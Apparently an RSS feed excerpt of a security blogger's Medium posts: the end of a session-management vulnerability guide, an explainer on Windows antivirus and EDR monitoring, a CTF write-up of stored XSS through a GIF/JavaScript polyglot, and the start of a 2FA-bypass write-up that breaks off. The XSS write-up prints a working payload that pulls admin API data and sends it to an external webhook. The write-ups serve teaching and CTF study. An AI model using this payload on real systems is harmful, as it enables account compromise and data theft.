lifetime, regardless of activity.</li></ul><h3>Attack Scenario</h3><ol><li>A user authenticates to an application.</li><li>The application creates a session without appropriate expiration controls.</li><li>An attacker obtains the user’s session identifier.</li><li>The session remains valid for an excessive period.</li><li>The attacker may continue accessing the account.</li></ol><h3>Security Impact</h3><ul><li>Persistent Session Hijacking.</li><li>Extended Unauthorized Access.</li><li>Increased Impact of Session Theft.</li></ul><h3>Mitigation</h3><ul><li>Implement Idle Timeout.</li><li>Implement Absolute Session Timeout.</li><li>Expire sessions after sensitive authentication events.</li><li>Enforce expiration on the server side.</li></ul><h3>8. Missing Logout Invalidation — Session Reuse After Logout</h3><h3>Overview</h3><p>Logging out should invalidate the authenticated session on the server side.</p><p>Simply removing a cookie from the browser does not necessarily destroy the corresponding server-side session.</p><h3>Attack Scenario</h3><ol><li>A user authenticates successfully.</li><li>The application issues a session cookie.</li></ol><pre>Cookie: SESSIONID=abc123</pre><ol><li>The user clicks Logout.</li><li>The application redirects the user to the login page.</li><li>However, the server does not invalidate the existing session.</li><li>An attacker possessing the old session identifier attempts to reuse it.</li><li>If the server accepts it, the authenticated session remains accessible.</li></ol><h3>Testing with Burp Suite</h3><ol><li>Authenticate to the application.</li><li>Capture an authenticated request.</li><li>Save the session cookie.</li><li>Perform Logout.</li><li>Replay the captured request using the previous cookie.</li><li>Verify whether the server still authorizes the request.</li></ol><h3>Security Impact</h3><ul><li>Session Reuse After Logout.</li><li>Unauthorized Account Access.</li><li>Potential Account Takeover.</li></ul><h3>Mitigation</h3><ul><li>Destroy the session on the server.</li><li>Invalidate the session identifier.</li><li>Clear the browser cookie.</li><li>Ensure previously issued session identifiers are rejected.</li></ul><h3>9. Unsigned Client-Side Session Data — Cookie Tampering</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/367/1*Vbqg3A_DTeeqHDuxyGjPyg.png" /></figure><h3>Overview</h3><p>Some applications store session-related information directly inside client-side cookies.</p><p>If the application does not properly protect the integrity of these values, attackers may be able to modify sensitive information.</p><h3>Vulnerable Example</h3><p>Imagine a cookie containing:</p><pre>{<br>  &quot;username&quot;: &quot;user&quot;,<br>  &quot;role&quot;: &quot;user&quot;<br>}</pre><p>If the server trusts this information without verifying its integrity, an attacker may attempt to modify the role:</p><pre>{<br>  &quot;username&quot;: &quot;user&quot;,<br>  &quot;role&quot;: &quot;admin&quot;<br>}</pre><p>If the server accepts the modified value, the attacker may obtain administrative privileges.</p><h3>Attack Scenario</h3><ol><li>The attacker examines client-side session data.</li><li>They identify sensitive fields such as role, user_id, or isAdmin.</li><li>They modify the cookie.</li><li>The server fails to validate its integrity.</li><li>The application processes the modified privileges.</li></ol><h3>Security Impact</h3><ul><li>Privilege Escalation.</li><li>Authentication Bypass.</li><li>Unauthorized Administrative Access.</li></ul><h3>Mitigation</h3><ul><li>Apply cryptographic integrity protection.</li><li>Validate signatures on the server.</li><li>Protect signing secrets.</li><li>Never trust client-controlled authorization values.</li><li>Perform authorization checks on the server side.</li></ul><p><strong>Important:</strong> Encoding is not encryption, and signing is not encryption. A signed cookie may still be readable, but its integrity can be verified.</p><h3>10. Insecure Session Storage — Unauthorized Session Data Access</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/270/1*02Xw8OckYaj7OsUN_-I3Mw.gif" /></figure><h3>Overview</h3><p>Server-side sessions are commonly stored in files, databases, memory, Redis, or other storage systems.</p><p>If these storage mechanisms are improperly configured, unauthorized users or processes may access sensitive session information.</p><h3>Vulnerable Example</h3><p>Imagine a PHP application storing sessions in:</p><pre>/tmp/sessions/</pre><p>Suppose the session files have insecure filesystem permissions.</p><p>An unauthorized local user may be able to read session files containing sensitive information.</p><p>Example:</p><pre>sess_abc123</pre><p>Possible contents:</p><pre>user_id = 42<br>role = admin</pre><h3>Attack Scenario</h3><ol><li>An attacker obtains unauthorized access to the server or storage environment.</li><li>They discover exposed session files or an improperly secured session database.</li><li>They access sensitive session information.</li><li>Depending on the storage format and application implementation, they may be able to impersonate users or compromise authenticated sessions.</li></ol><h3>Security Impact</h3><ul><li>Session Data Disclosure.</li><li>Session Hijacking.</li><li>Account Impersonation.</li><li>Privilege Escalation.</li></ul><h3>Mitigation</h3><ul><li>Apply strict filesystem permissions.</li><li>Restrict access to session storage.</li><li>Secure Redis and database configurations.</li><li>Isolate session data between applications and users.</li><li>Protect sensitive session information.</li></ul><h3>Conclusion</h3><p>Session management is much more than simply generating a cookie after authentication.</p><p>It involves protecting session identifiers, controlling their lifecycle, validating client-side information, enforcing expiration, and ensuring that authenticated sessions cannot be reused by unauthorized parties.</p><p>A small implementation mistake can potentially become a serious security vulnerability.</p><p>For penetration testers and bug bounty hunters, understanding these weaknesses is essential when assessing authentication mechanisms and identifying account takeover attack paths.</p><p><strong>Remember: A secure authentication mechanism is only as strong as the session management system supporting it.</strong></p><h3>References &amp; Further Reading</h3><ol><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html">OWASP — Session Management Cheat Sheet</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html">OWASP — Authentication Cheat Sheet</a></li><li><a href="https://portswigger.net/web-security/authentication">PortSwigger — Authentication Vulnerabilities</a></li><li><a href="https://portswigger.net/web-security/cross-site-scripting">PortSwigger — Cross-Site Scripting</a></li><li><a href="https://portswigger.net/web-security/csrf">PortSwigger — Cross-Site Request Forgery</a></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*GaOqsEge6g9A3cQyslGppw.gif" /><figcaption>Thanks For reading</figcaption></figure><p>Follow Me in : <a href="http://www.linkedin.com/in/islam-salem-5a13a032b">www.linkedin.com/in/islam-salem-5a13a032b</a></p><p>اللهم انصر اخواننا في غزة</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=554491f8f274" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Inside Windows Monitoring: How Antivirus and EDR Observe System Activity]]></title>
            <link>https://isv0x1.medium.com/inside-windows-monitoring-how-antivirus-and-edr-observe-system-activity-66646098d69e?source=rss-56d3ed40aa4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/66646098d69e</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[Isv0x1]]></dc:creator>
            <pubDate>Fri, 06 Nov 2026 21:27:48 GMT</pubDate>
            <atom:updated>2026-11-06T21:27:48.596Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t017kRxaPLGRNXUvwE79LQ.png" /></figure><h3>Introduction: Your Antivirus Doesn’t See Everything</h3><p>Have you ever wondered how an antivirus knows that a program is malicious before it has a chance to damage your system?</p><p>Does it monitor every file? Every process? Every network connection?</p><p>The interesting answer is that Windows provides specific mechanisms that security products can use to observe system activity. Modern antivirus and EDR solutions build their detection capabilities around these mechanisms.</p><p>But there is another side to this story.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*L3iQ0oaXtQjPNegdiWsQWQ.gif" /></figure><p>Every defensive mechanism creates an opportunity for malware researchers to ask a different question:</p><p><strong>If Windows provides a way to observe an operation, what happens when malware attempts to avoid that observation?</strong></p><p>To understand this relationship, we need to look at Windows from the inside.</p><h3>1. The Big Picture: Two Worlds Inside Windows</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z_jJhJocsy-HmU4eQlUryg.jpeg" /></figure><p>Windows operates through two primary execution environments:</p><ul><li><strong>User Mode:</strong> Where ordinary applications and most security services execute.</li><li><strong>Kernel Mode:</strong> Where the operating system’s core components and privileged drivers operate.</li></ul><p>Modern antivirus products commonly combine both environments.</p><p>A simplified architecture looks like this:</p><pre>Windows System<br>                   |<br>          +--------+--------+<br>          |                 |<br>       User Mode         Kernel Mode<br>          |                 |<br>     AV Service         AV Driver<br>          |                 |<br>     File Scanning      Minifilters<br>     AMSI Integration   Process Callbacks<br>     API Monitoring     Registry Callbacks<br>     Threat Analysis    Network Filtering<br>          |                 |<br>          +--------+--------+<br>                   |<br>            Detection Engine<br>                   |<br>             Security Verdict</pre><p>The user-mode service performs much of the analysis, while kernel-mode components provide privileged visibility into system operations.</p><p>Let’s examine both layers.</p><h3>2. User Mode: Where Monitoring Begins</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cq7CjRnCRRJCXkGI9aJePQ.jpeg" /></figure><h3>2.1 API Hooking</h3><p>One traditional technique used by security software is API hooking.</p><p>The idea is straightforward: intercept a function before its original implementation executes.</p><p>For example, consider an application that creates a file.</p><p>A simplified call path might look like this:</p><pre>Application<br>    |<br>    v<br>kernel32.dll<br>    |<br>    v<br>ntdll.dll<br>    |<br>    v<br>System Call<br>    |<br>    v<br>Windows Kernel</pre><p>With a user-mode inline hook, the flow may look like this:</p><pre>Application<br>    |<br>    v<br>ntdll.dll<br>    |<br>    v<br>Hook (JMP)<br>    |<br>    v<br>AV Monitoring Code<br>    |<br>    v<br>Original Function<br>    |<br>    v<br>System Call</pre><p>The antivirus can inspect the operation before allowing it to continue.</p><p>Think of it as a security guard standing at a door. Every visitor must pass through the guard before entering.</p><p>However, user-mode hooks have limitations.</p><p>They operate inside a process address space and may be modified or bypassed by sufficiently capable software running with appropriate access.</p><p>This is one reason modern endpoint protection does not rely exclusively on API hooking.</p><h3>2.2 AMSI — Antimalware Scan Interface</h3><p>AMSI is one of Microsoft’s important interfaces for integrating antimalware products with applications.</p><p>It is particularly useful for script-based threats.</p><p>Imagine a malicious PowerShell script that uses obfuscation to hide its actual behavior.</p><p>Scanning only the original text might not reveal its intentions.</p><p>AMSI provides integration points through which supported applications can submit content for inspection.</p><p>For example:</p><pre>HAMSICONTEXTctx;HAMSISESSIONses;AMSI_RESULTres;AmsiInitialize(L&quot;MyApp&quot;,&amp;ctx);AmsiOpenSession(ctx,&amp;ses);AmsiScanBuffer(ctx,buf,len,L&quot;script.ps1&quot;,ses,&amp;res);<br>if (AmsiResultIsMalware(res)) {<br>/* Block execution */}</pre><p>The important concept is timing.</p><p>The application can submit script content after relevant processing or deobfuscation and before execution.</p><p>This gives antimalware products an opportunity to inspect content that might otherwise be difficult to recognize.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*5Fy-bNe2mAkbCvXYlILOkw.gif" /></figure><h3>2.3 Other Supporting APIs</h3><p>Two additional components are worth understanding:</p><p><strong>WinVerifyTrust</strong></p><p>Used to verify digital signatures and establish whether a file’s signature can be trusted.</p><p>A valid signature does not automatically mean a file is safe, but it provides useful information for security decisions.</p><p><strong>Windows Security Center (WSC)</strong></p><p>Provides mechanisms through which security products register their status with Windows.</p><p>This allows Windows to understand which security products are registered and their reported protection state.</p><h3>3. Common Windows APIs in Malware Analysis</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jWlomrHsjqN2TDuReCM6MA.jpeg" /></figure><p>There is no universal first Windows API that every malware sample calls. Different families have different initialization routines, and some samples resolve APIs dynamically or unpack their payload before making any obvious calls. However, several APIs appear frequently in malware analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*ZN3L9lM5fj7ZjWnF5Mos5Q.png" /></figure><p>A typical unpacking sample might resolve APIs with GetModuleHandle and GetProcAddress, then call VirtualAlloc and VirtualProtect. This sequence is illustrative, not mandatory.</p><h3>What Should You Look For?</h3><p>When you encounter VirtualAlloc, do not immediately conclude that the sample is malicious.</p><p>Instead, investigate:</p><p>1. Who called the function?</p><p>2. How much memory was requested?</p><p>3. What allocation type was used?</p><p>4. What memory protection was requested?</p><p>5. Was data subsequently written into the allocated region?</p><p>6. Did execution later reach that memory?</p><p>The answers provide context.</p><p>An individual API call rarely tells the whole story. The sequence of operations is what matters.</p><h3>4. Kernel Mode: Minifilters, Callbacks and WFP</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R0EY90PsQwKb6DlPMLTQfQ.jpeg" /></figure><p>User-mode monitoring has limitations.</p><p>A security product that depends entirely on observing functions inside individual processes may miss operations that do not follow the expected user-mode path.</p><p>This is why modern Windows security products also use kernel-mode mechanisms.</p><h3>4.1 Minifilter Drivers: The Backbone of File Monitoring</h3><p>Windows provides the Filter Manager, implemented by:</p><p>fltmgr.sys</p><p>Filesystem minifilter drivers register callbacks for selected filesystem operations.</p><p>This allows security products to observe file activity without modifying the filesystem itself.</p><p>For example:</p><pre>const FLT_OPERATION_REGISTRATION Ops[] = {<br>{ IRP_MJ_CREATE, 0, PreCreate, NULL },<br>{ IRP_MJ_WRITE, 0, PreWrite, NULL },<br>{ IRP_MJ_OPERATION_END }<br>};<br>NTSTATUS DriverEntry(<br>PDRIVER_OBJECT d,<br>PUNICODE_STRING r<br>) {<br>FltRegisterFilter(d, &amp;Reg, &amp;gFilter);<br>return FltStartFiltering(gFilter);<br>}<br>A simplified workflow:<br>Application<br>|<br>v<br>File Operation<br>|<br>v<br>I/O Manager<br>|<br>v<br>Filter Manager<br>|<br>v<br>AV Minifilter<br>|<br>v<br>Inspection / Decision<br>|<br>v<br>Filesystem</pre><p>The minifilter can inspect selected operations and, depending on its callback and synchronization design, delay or deny them.</p><p>An important detail is that minifilters register for specific operations. Not every possible file operation is automatically inspected by every minifilter.</p><h3>4.2 Process, Object, and Registry Callbacks</h3><p>Windows provides several kernel callback mechanisms that are particularly useful for security products.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*rSKCBQ2zPxYZKo64f6rDQg.png" /></figure><p>For example, a process creation callback can notify a security driver when a new process is created.</p><p>An object callback can monitor certain handle operations involving protected processes.</p><p>And registry callbacks can help identify suspicious changes associated with persistence.</p><h3>4.3 Windows Filtering Platform (WFP)</h3><p>WFP provides infrastructure for filtering network traffic at multiple layers of the Windows networking stack. Security products use it to monitor connections, apply filtering policies, and block selected operations — which is particularly important when investigating malware that communicates with command-and-control infrastructure.</p><h3>5. ETW Threat Intelligence</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dKzGLTGysE21u294VLA_rg.jpeg" /></figure><p>Event Tracing for Windows (ETW) is another important part of the Windows security ecosystem. One particularly interesting provider is:</p><p>Microsoft-Windows-Threat-Intelligence</p><p>It provides kernel-sourced telemetry for sensitive activities, including certain cross-process memory operations. Access is restricted: Protected Process Light (PPL) and appropriately signed Early Launch Anti-Malware (ELAM) components are required. Windows deliberately does not expose every security-sensitive event to every ordinary application.</p><h3>6. Who Protects the Antivirus Itself?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dd3qjhca_Rs08WNYEhADvA.jpeg" /></figure><p>If malware can attack security software, what protects the antivirus? Windows provides several layers: <strong>ELAM</strong> classifies boot-start drivers early in the boot process, <strong>PPL</strong> restricts access to protected processes, <strong>PatchGuard</strong> protects critical kernel structures on 64-bit Windows, and <strong>HVCI</strong> uses virtualization-based security to restrict untrusted kernel code. Together, they make attacking the security infrastructure more difficult.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*MXWVf4sz6RVJKsLnhVd6pQ.gif" /></figure><h3>Final Thoughts</h3><p>Understanding malware is not just about recognizing suspicious instructions or memorizing Windows APIs.</p><p>It is about understanding how Windows works internally.</p><p>When you see VirtualAlloc, ask what memory is being allocated and why.</p><p>When you see GetProcAddress, ask which function the program is resolving.</p><p>When you see a change in memory protection, investigate what happens afterward.</p><p>When you see an unfamiliar process making a network connection, correlate it with the process’s creation history and memory activity.</p><p>And when you study an antivirus, remember that every monitoring mechanism has a scope, a set of assumptions, and limitations.</p><p><strong>The real skill in malware analysis is not recognizing one suspicious API call. It is reconstructing the complete execution story.</strong></p><p><em>Learning and research purposes only. The examples in this article are simplified educational illustrations and should not be treated as production-ready security code.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*1MtTBBbB-AQrbNUDjSMB7g.gif" /><figcaption>thanks for reading</figcaption></figure><p>Follow Me in : <a href="http://www.linkedin.com/in/islam-salem-5a13a032b">www.linkedin.com/in/islam-salem-5a13a032b</a></p><p>اللهم انصر اخواننا في غزة</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=66646098d69e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cross-Site Scripting (XSS) via Malicious GIF Cyshield CTF 2026]]></title>
            <link>https://isv0x1.medium.com/cross-site-scripting-xss-via-malicious-gif-cyshield-ctf-2026-e1f054362417?source=rss-56d3ed40aa4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/e1f054362417</guid>
            <category><![CDATA[bugbounty-writeup]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[Isv0x1]]></dc:creator>
            <pubDate>Mon, 02 Nov 2026 21:47:29 GMT</pubDate>
            <atom:updated>2026-11-02T21:47:29.349Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eiBRieGltKHp4qfllZTjdQ.png" /><figcaption><strong>only</strong> For educational purpose , <strong>Follow</strong> me in medium❤️ for more exclusive Cybersecurity writups</figcaption></figure><p>In my previous writeup, we explored the first CYSHIELD CTF 2026 challenge, focusing on a 2FA authentication flaw.</p><p><a href="https://isv0x1.medium.com/one-login-two-paths-one-critical-security-flaw-cyshield-ctf-2026-0ab6fc4fc0b1">One Login, Two Paths, One Critical Security Flaw — CYSHIELD CTF 2026</a></p><p>Today, we’re moving to the next challenge: <strong>SRV01 — MasterMind</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*8DXsrHE439H0f7dedui36A.gif" /></figure><h3>Target Overview</h3><p>AegisCore Response is an incident-response platform designed to help critical facilities monitor systems, track incidents, and manage security-related operations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NNin-80frRvVMoO3dKv8_Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iNTDFisVowwViFWV8acirg.png" /></figure><p>During reconnaissance, I identified the avatar-upload feature as a potential entry point. My initial attempt to upload a PHP web shell was rejected because the application only accepted image files.</p><p>I also discovered an automated review bot with administrator privileges that regularly visited the incidents dashboard.</p><p>This shifted my focus from server-side execution to browser-side exploitation. I investigated whether an uploaded image could be transformed into a JavaScript execution vector within the bot’s authenticated session.</p><p>I focused on SVG and GIF handling, eventually exploring a GIF/JavaScript polyglot technique.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*soEYpUN5YHjs8JDFkUpp5w.gif" /></figure><h3>Background Concepts: SVG vs. GIF</h3><p>SVG (Scalable Vector Graphics) is an XML-based vector image format. At its simplest, SVG markup describes shapes for the browser to draw — for example, a &lt;circle&gt; element with a fill color renders as a solid colored circle.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*eT8emM8Iel1sz0407stTiQ.png" /></figure><p>However, SVG files can contain JavaScript and event handlers such as onload. When rendered directly as a document, the browser may execute this code, making SVG a common XSS attack vector.</p><h3>GIF: An Animation-Capable Image Format</h3><p>Unlike SVG, GIF is a binary image format rather than a markup language. It stores one or more image frames along with timing information to create animations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*FsJMmtr5rJqghMCqrNXPRQ.png" /></figure><p>GIF does not support JavaScript natively, unlike SVG. However, its binary structure can be crafted to also be interpreted as JavaScript. This technique is known as a <strong>Polyglot File</strong>.</p><p>In this challenge, the attack relied on a crafted polyglot file combined with weaknesses in file serving and CSP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*NdcfgkkravxzVHw1IUk1EA.gif" /></figure><h3>Response Header Analysis: The CSP Obstacle</h3><p>Earlier, I tested how a normal user could interact with the file-upload feature. Here’s what I found:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mDiK9iguIE_FKbfz-Zx3MQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K3XWS8UP481lYSVfJu9GPg.png" /></figure><p>The application enforced the following Content Security Policy:</p><p>Content-Security-Policy: script-src &#39;self&#39;; object-src &#39;none&#39;</p><p>This policy restricts script loading to the application’s own origin and blocks inline JavaScript and external script sources. It also disables plugin-based content through object-src &#39;none&#39;.</p><p>Rather than bypassing the CSP directly, I investigated whether the uploaded avatar could be served from the application’s origin and interpreted as JavaScript.</p><p>This approach relied on the combination of same-origin script loading and weaknesses in the application’s file-handling mechanism.</p><h3>The Polyglot File Technique</h3><p>A polyglot file is designed to be interpreted as more than one file format or language.</p><p>A classic example of this technique is the jsdot.gif proof of concept.</p><p>The underlying idea relies on the different ways image decoders and JavaScript engines interpret the same byte sequence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*yGECfFWv4H5q0uXTu3Ns9g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*CSyb0uEpyU7eD9mbryrs7g.png" /></figure><p>In JavaScript, GIF89a can be interpreted as an identifier. The following /* starts a block comment, allowing the intervening binary data to be ignored by the JavaScript parser until the closing */ is encountered.</p><p>The remaining content can then be parsed as JavaScript, provided the resulting syntax is valid in the target execution context.</p><p>However, a valid GIF signature alone does not guarantee that the entire file is a valid image. In this challenge, the application accepted and stored the crafted file without server-side re-encoding.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*JL9TFouMI2xBo01bc9Xn0Q.gif" /></figure><h3>File Serving and MIME-Type Handling</h3><p>Inspecting the stored avatar revealed two important response characteristics:</p><ul><li>The server returned Content-Type: application/octet-stream.</li><li>The response did not include X-Content-Type-Options: nosniff.</li></ul><p>These findings indicated that the application was not enforcing a strict image-specific response policy for uploaded files.</p><p>Combined with the same-origin script allowance in the CSP, this raised the possibility of loading the uploaded resource through a script reference.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*Pt2gJ9oVC6F2Iff3UDYbuw.png" /></figure><p>However, the absence of nosniff alone does not guarantee JavaScript execution. The actual result depends on the browser&#39;s script MIME-type handling and the response headers.</p><p>In the target environment, I verified the behavior by loading the stored resource through a script reference and confirming JavaScript execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*jMng4pK5oyRfm99Gl931Hg.gif" /></figure><h3>Building the Weaponized Payload</h3><p>The payload was embedded in a GIF89a-signed polyglot and submitted through the avatar upload functionality as a Base64-encoded Data URI.</p><pre>GIF89a/*<br> …binary GIF image bytes (ignored as a JS comment)…<br> */=1;<br> <br> var W = &#39;https://webhook.site/&lt;REDACTED-LISTENER-ID&gt;&#39;;<br> <br> function E(u, d) {<br> fetch(u + &#39;?d=&#39; + encodeURIComponent(d.slice(0, 4000)), { mode: &#39;no-cors&#39; });<br> }</pre><p><em>The exfiltration primitive: E(url, data) forwards up to 4000 characters of response data to the attacker’s webhook using a simple, credential-less fetch.</em></p><h3>The data-harvesting chain</h3><p>Once the comment trick disposes of the binary GIF data, the script goes on to pull three authenticated, admin-scoped API responses and forward each one to the webhook in turn:</p><pre>fetch(&#39;/api/me&#39;, { credentials: &#39;include&#39; })<br> .then(r =&gt; r.text())<br> .then(t =&gt; {<br> E(W + &#39;/me&#39;, t);<br> return fetch(&#39;/api/admin/users&#39;, { credentials: &#39;include&#39; })<br> .then(r =&gt; r.text());<br> })<br> .then(t =&gt; E(W + &#39;/users&#39;, t));<br> <br> fetch(&#39;/api/admin/audit?limit=100&#39;, { credentials: &#39;include&#39; })<br> .then(r =&gt; r.text())<br> .then(t =&gt; E(W + &#39;/audit&#39;, t));</pre><p><strong>Data targeted : </strong>/api/me</p><p>Current authenticated account info (whoever’s session the script runs in)</p><p>/api/admin/users</p><p>Full user/account listing — only reachable with admin privileges</p><p>/api/admin/audit?limit=100</p><p>The 100 most recent administrative audit-log entries</p><p>The requests used `credentials: ‘include’` to leverage<br>the browser’s existing authenticated session.</p><p>Since the script executed on the application’s origin,<br>the API requests were same-origin and did not require CORS<br>permission.</p><p>The returned data was forwarded to an external listener<br>using a cross-origin `fetch` request with `mode: ‘no-cors’`.<br>This allowed sending the request without reading its response.</p><p>The attack therefore abused the administrator’s authenticated<br>browser context rather than directly extracting session cookies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*kBDsKrbfdfZ8a7EPn8Vggw.gif" /></figure><h3>Step 1 — Upload the polyglot GIF as the account avatar</h3><p>The Base64-encoded polyglot payload was submitted through the normal “Profile Image” upload control. The intercepted request shows the full data:image/gif;base64,… payload being submitted as the avatar field, and the server’s 200 OK / “Profile updated.” response confirms it was accepted without rejection or re-encoding.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KsB9ID16U9TI7xgl5iXDCw.png" /></figure><h3>Step 2 — Recover the stored file’s same-origin URL</h3><p>Querying the authenticated /api/me endpoint confirms the account’s stored avatar path under /uploads/avatars/, which is required to build a same-origin &lt;script src=”…”&gt; reference in the next step.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*jnvr47W7yJB7vWRQaBRvDA.png" /></figure><h3>Step 3 — Inject the stored HTML payload via Incident Escalation</h3><p>The incident-escalation endpoint, POST /api/incidents/{id}/escalate</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y9NQ4tYygKp8SR2Y1_gvKw.png" /></figure><p>admin-review bot visits. This is a separate, independent Stored HTML Injection flaw, and it is the delivery mechanism that turns the polyglot avatar from a stored file into an executed script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*wiRFePuxtoWfuKMed7yQhg.gif" /></figure><h3>Step 4 — The Admin Bot Triggers the Payload</h3><p>Once escalated, the incident appears on the dashboard visited by the admin review bot. When the bot loads the injected &lt;script&gt; tag, it fetches the polyglot GIF from the application&#39;s own origin and executes it within its authenticated admin session.</p><p>The payload then accesses /api/me, /api/admin/users, and /api/admin/audit using the bot&#39;s session, forwarding the responses to the attacker&#39;s webhook.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bc9greD6QVmbdTh5FJmkPw.png" /></figure><p>This callback confirmed successful exploitation: Site Admin data from privileged APIs reached an external endpoint, proving that the Stored XSS executed within the administrator’s authenticated session.</p><h3>Vulnerability Summary</h3><ul><li><strong>Primary Vulnerability:</strong> Stored XSS through GIF/JavaScript Polyglot execution.</li><li><strong>Chained Weakness:</strong> Stored HTML Injection in Incident Escalation.</li><li><strong>Supporting Weaknesses:</strong> Insecure file handling and insufficient output encoding.</li><li><strong>CWE:</strong> CWE-79, CWE-434 (if supported by the upload-validation evidence), CWE-116.</li><li><strong>OWASP:</strong> A03:2021 — Injection.</li><li><strong>Competition:</strong> CYSHIELD CTF 2026.</li><li><strong>Challenge:</strong> SRV01 — MasterMind.</li></ul><h3>Read More</h3><ul><li><a href="https://isv0x1.medium.com/inject-exploit-repeat-real-world-adventures-in-xss-a8fd8f7066c8">Inject, Exploit, Repeat: Real-World Adventures in XSS | by Isv0x1 | Medium</a></li><li><a href="https://isv0x1.medium.com/breaking-file-upload-security-finding-hidden-xss-cfc6e38bcee3">Breaking File Upload Security: Finding Hidden XSS | by Isv0x1 | Medium</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*X0-SSgIkP3PRqsUpXuv4XQ.gif" /><figcaption>Thanks For reading</figcaption></figure><p>Follow Me in : <a href="http://www.linkedin.com/in/islam-salem-5a13a032b">www.linkedin.com/in/islam-salem-5a13a032b</a></p><p>اللهم انصر اخواننا في غزة</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e1f054362417" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[One Login, Two Paths, One Critical Security Flaw CYSHIELD CTF 2026]]></title>
            <link>https://isv0x1.medium.com/one-login-two-paths-one-critical-security-flaw-cyshield-ctf-2026-0ab6fc4fc0b1?source=rss-56d3ed40aa4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/0ab6fc4fc0b1</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Isv0x1]]></dc:creator>
            <pubDate>Sat, 31 Oct 2026 00:35:20 GMT</pubDate>
            <atom:updated>2026-10-31T22:03:32.990Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ORyzDJ-f18Nm4VGl37m2TA.png" /><figcaption>Follow Me for More Writeups</figcaption></figure><h3>Introduction</h3><p>Authentication systems should ensure that only authorized users access protected resources. However, gaps between security layers can undermine the entire process.</p><p>While solving the Ghost Mode challenge in CYCTF, I discovered this flaw in AegisCore Response, an incident-response portal requiring administrator verification.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*Lv5iDK3UGYRNx7h9rAzF7g.gif" /></figure><h4>Step 1 — Creating an Account</h4><p>The portal’s registration flow made the restriction explicit: new accounts are created as unverified until an administrator approves them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*V6cCDjz6eOj6ZcUEmyQmnA.png" /></figure><p>I registered a normal account and confirmed I couldn’t reach the dashboard afterward — so far, the verification gate looked solid.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*pQAxjVftx8TIYc-wiCF2Tg.png" /></figure><h4>step 2 — Enumerating Endpoints</h4><p>Before trying to break the auth flow, I mapped out the API surface:</p><pre>/css/style.css          